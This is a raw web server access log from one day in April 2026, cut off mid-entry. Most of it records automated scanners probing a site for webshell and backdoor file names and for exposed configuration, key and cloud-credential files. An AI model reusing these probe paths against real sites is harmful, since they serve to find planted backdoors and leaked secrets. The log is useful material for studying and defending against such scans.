52.169.206.229 - - [24/Apr/2026:13:58:47 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:58:51 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:58:51 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:58:53 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:00:27 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:02:22 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:02:26 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:03:10 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 43.135.133.241 - - [24/Apr/2026:14:49:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.3.220.88 - - [24/Apr/2026:15:07:49 +0300] "GET /assets/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:56 +0300] "GET /upload/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 52.169.206.229 - - [24/Apr/2026:13:50:23 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:52:04 +0300] "GET //sl.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:52:13 +0300] "GET /vuln.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:53:05 +0300] "GET //wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:53:09 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:53:23 +0300] "GET /puc.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:53:34 +0300] "GET /ewp.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:54:12 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:54:22 +0300] "GET //shell.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:56:10 +0300] "GET /fine.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:56:19 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:57:10 +0300] "GET /fvvff.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:58:13 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:58:16 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:59:01 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:59:52 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:01:29 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 31.220.83.198 - - [24/Apr/2026:14:17:41 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:39 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:43 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:46 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:46 +0300] "GET /test/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:55 +0300] "GET /uploads/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:56 +0300] "GET /upload/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 52.169.206.229 - - [24/Apr/2026:13:50:43 +0300] "GET /.sghb.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:50:47 +0300] "GET /zoko.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:51:16 +0300] "GET /pucci.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:54:29 +0300] "GET /seo.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:54:34 +0300] "GET /7.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:55:47 +0300] "GET //xwpg.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:56:52 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:56:59 +0300] "GET /no1.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:59:38 +0300] "GET //wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:59:38 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:13:59:57 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:01:14 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Apr/2026:14:01:14 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 195.3.220.88 - - [24/Apr/2026:15:07:46 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:48 +0300] "GET /images/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:55 +0300] "GET /uploads/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 195.3.220.88 - - [24/Apr/2026:15:07:56 +0300] "GET /files/ HTTP/1.1" 301 795 "https://google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 162.243.169.186 - - [24/Apr/2026:15:44:26 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 162.243.169.186 - - [24/Apr/2026:15:44:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 64.89.160.79 - - [24/Apr/2026:16:18:09 +0300] "GET /admin/assets/global/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "ALittle Client" 57.141.20.71 - - [24/Apr/2026:17:19:12 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 20.251.112.6 - - [24/Apr/2026:17:28:57 +0300] "GET /envs.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:29:26 +0300] "GET /litespeed.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:31:30 +0300] "GET /deploy.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:33:46 +0300] "GET /configuration.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:33 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:34 +0300] "GET /wp-post-data.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:34 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:34 +0300] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:34 +0300] "GET /kcs.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:34 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:34 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:35 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:35 +0300] "GET /envs.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:35 +0300] "GET /wp-plugins.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:35 +0300] "GET /keys.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:35 +0300] "GET /pinfo.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:35 +0300] "GET /litespeed.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:35 +0300] "GET /environments.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:35 +0300] "GET /raf.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:36 +0300] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:36 +0300] "GET /infos.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:36 +0300] "GET /aws.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:36 +0300] "GET /embed.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:36 +0300] "GET /stat.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:36 +0300] "GET /setup.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:36 +0300] "GET /development.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:36 +0300] "GET /environment.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:37 +0300] "GET /db_config.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:37 +0300] "GET /Get_Site_Info.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:37 +0300] "GET /deploy.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:37 +0300] "GET /apis.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:37 +0300] "GET /asdf.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:37 +0300] "GET /1100.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:37 +0300] "GET /._info.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:37 +0300] "GET /php_flag.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:38 +0300] "GET /test_info4.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:38 +0300] "GET /test_phpinfo2.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:38 +0300] "GET /HsFPDcD.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:38 +0300] "GET /config.inc.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:38 +0300] "GET /phpversion.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:38 +0300] "GET /asus.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:38 +0300] "GET /php_version.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:38 +0300] "GET /abouts.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:28:39 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:28:57 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:29:03 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:29:03 +0300] "GET /envs.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:29:13 +0300] "GET /keys.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:29:15 +0300] "GET /wp-plugins.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:29:16 +0300] "GET /keys.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:30:15 +0300] "GET /aws.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:30:51 +0300] "GET /development.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:32:12 +0300] "GET /test_info4.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:32:12 +0300] "GET /test_phpinfo2.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:32:25 +0300] "GET /HsFPDcD.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:32:41 +0300] "GET /phpversion.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:29:48 +0300] "GET /raf.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:30:01 +0300] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:30:01 +0300] "GET /infos.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:30:17 +0300] "GET /aws.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:31:14 +0300] "GET /db_config.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:31:52 +0300] "GET /setup.php.bak HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:31:53 +0300] "GET /1100.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:31:53 +0300] "GET /._info.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:31:57 +0300] "GET /php_flag.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:32:01 +0300] "GET /test_info4.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:32:39 +0300] "GET /config.inc.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:33:20 +0300] "GET /abouts.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:33:46 +0300] "GET /configuration.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:34:19 +0300] "GET /infoinfo.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:28:27 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:28:28 +0300] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:28:29 +0300] "GET /kcs.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:28:39 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:29:39 +0300] "GET /environments.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:31:13 +0300] "GET /db_config.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:32:11 +0300] "GET /test_phpinfo2.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:33:01 +0300] "GET /php_version.php HTTP/1.1" 301 795 "-" "-" 146.190.93.228 - - [24/Apr/2026:17:37:17 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://duckduckgo.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 51.68.111.242 - - [24/Apr/2026:18:17:53 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.111.242 - - [24/Apr/2026:18:17:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 20.251.112.6 - - [24/Apr/2026:17:27:57 +0300] "GET /wp-post-data.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:29:27 +0300] "GET /pinfo.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:29:27 +0300] "GET /litespeed.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:29:40 +0300] "GET /environments.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:29:46 +0300] "GET /raf.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:30:44 +0300] "GET /setup.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:30:56 +0300] "GET /development.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:30:59 +0300] "GET /environment.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:31:36 +0300] "GET /apis.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:31:42 +0300] "GET /apis.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:31:44 +0300] "GET /asdf.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:31:47 +0300] "GET /setup.php.bak HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:31:50 +0300] "GET /1100.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:31:52 +0300] "GET /._info.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:32:19 +0300] "GET /HsFPDcD.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:32:31 +0300] "GET /config.inc.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:32:50 +0300] "GET /asus.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:33:02 +0300] "GET /php_version.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:33:24 +0300] "GET /profmanage.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:33:30 +0300] "GET /makecvs.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:33:39 +0300] "GET /makecvs.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:33:39 +0300] "GET /phpreleaseinfo.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:33:55 +0300] "GET /ay.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:33:57 +0300] "GET /hkvkjguw.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:34:02 +0300] "GET /hkvkjguw.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:27:51 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:28:12 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:28:13 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:28:13 +0300] "GET /wp-post-data.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:29:07 +0300] "GET /wp-plugins.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:30:04 +0300] "GET /infos.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:30:40 +0300] "GET /stat.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:31:01 +0300] "GET /environment.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:31:22 +0300] "GET /Get_Site_Info.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:31:35 +0300] "GET /deploy.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:32:00 +0300] "GET /php_flag.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:33:36 +0300] "GET /phpreleaseinfo.php HTTP/1.1" 301 795 "-" "-" 45.94.31.11 - - [24/Apr/2026:18:23:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 20.251.112.6 - - [24/Apr/2026:17:47:38 +0300] "GET /profmanage.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:39 +0300] "GET /makecvs.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:39 +0300] "GET /phpreleaseinfo.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:39 +0300] "GET /configuration.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:39 +0300] "GET /ay.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:39 +0300] "GET /hkvkjguw.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:39 +0300] "GET /Black.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:47:39 +0300] "GET /infoinfo.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:28:19 +0300] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:28:29 +0300] "GET /kcs.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:28:45 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:29:19 +0300] "GET /pinfo.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:29:55 +0300] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:30:27 +0300] "GET /embed.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:31:42 +0300] "GET /asdf.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:33:27 +0300] "GET /profmanage.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:34:11 +0300] "GET /Black.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:34:17 +0300] "GET /infoinfo.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:28:52 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:30:27 +0300] "GET /embed.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:30:34 +0300] "GET /stat.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:30:50 +0300] "GET /setup.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:31:18 +0300] "GET /Get_Site_Info.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:32:44 +0300] "GET /phpversion.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:32:49 +0300] "GET /asus.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:33:16 +0300] "GET /abouts.php HTTP/1.1" 301 795 "-" "-" 20.251.112.6 - - [24/Apr/2026:17:33:51 +0300] "GET /ay.php HTTP/1.1" 301 795 "-" "-" 20.250.14.166 - - [24/Apr/2026:17:34:10 +0300] "GET /Black.php HTTP/1.1" 301 795 "-" "-" 220.181.51.92 - - [24/Apr/2026:21:35:54 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 211.249.46.109 - - [24/Apr/2026:19:16:03 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 116.179.32.25 - - [24/Apr/2026:21:35:51 +0300] "GET /wp-json/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 124.222.86.149 - - [24/Apr/2026:19:44:26 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 170.106.82.209 - - [24/Apr/2026:20:32:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 216.244.66.194 - - [24/Apr/2026:20:54:52 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 141.98.11.224 - - [24/Apr/2026:20:38:43 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 42.83.147.56 - - 